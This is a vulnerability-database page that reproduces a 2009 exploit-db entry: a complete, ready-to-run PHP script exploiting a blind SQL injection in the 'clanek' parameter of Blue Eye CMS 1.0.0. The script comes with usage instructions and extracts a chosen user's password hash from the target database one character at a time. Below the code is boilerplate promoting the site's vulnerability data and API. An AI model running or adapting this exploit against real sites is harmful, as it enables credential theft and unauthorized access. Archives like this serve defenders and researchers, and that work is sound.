Lucene search
K

Blue Eye CMS 1.0.0 - 'clanek' Blind SQL Injection

🗓️ 15 Jan 2009 00:00:00Reported by darkjokerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 58 Views

'Blue Eye CMS' Blind SQL Injection exploit v1.0.

Code
--+++===============================================================+++--
--+++====== Blue Eye CMS <= 1.0.0 Blind SQL Injection Exploit ======+++--
--+++===============================================================+++--


<?php

function usage ()
{
	echo
		"\n[+] Blue Eye CMS <= 1.0.0 Blind SQL Injection Exploit".
		"\n[+] http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar".
		"\n[+] Author: darkjoker".
		"\n[+] Site  : http://darkjoker.net23.net".
		"\n[+] Usage : php xpl.php <hostname> <path> <username>".
		"\n[+] Ex.   : php xpl.php localhost /BlueEye admin".
		"\n\n";
	exit ();
}

function query ($user, $pos, $chr)
{
	$query = "x' OR ASCII(SUBSTRING((SELECT password FROM blueeye_users WHERE user = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function decrypt ($hash)
{
	$sha1 = unpack ("H*", base64_decode ($hash));
	return $sha1 [1];
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
	$fp = fsockopen ($hostname, 80);
	$chr = ord ($chr);
	$query = query ($user, $pos, $chr);

	$get = 
		"GET {$path}/index.php?clanek={$query} HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n\r\n";
	fputs ($fp, $get);

	while (!feof ($fp))
		$reply .= fgets ($fp, 1024);
	
	fclose ($fp);

	preg_match ("/Autor: (.+?)<br>/", $reply, $x);
	if (empty ($x [1]))
		return false;
	else
		return true;
}

if ($argc != 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
$pos = 1;
$chr = 0;
echo "\n[+] Finding password: ";
while ($chr < strlen  ($key))
{
	if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
	{
		$pass .= $key [$chr];
		echo $key [$chr];
		$chr = -1;
		$pos++;
	}
	$chr++;
}
echo "\n[+] sha1 Hash: ";
echo decrypt ($pass) . "\n\n";

?>

# milw0rm.com [2009-01-15]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation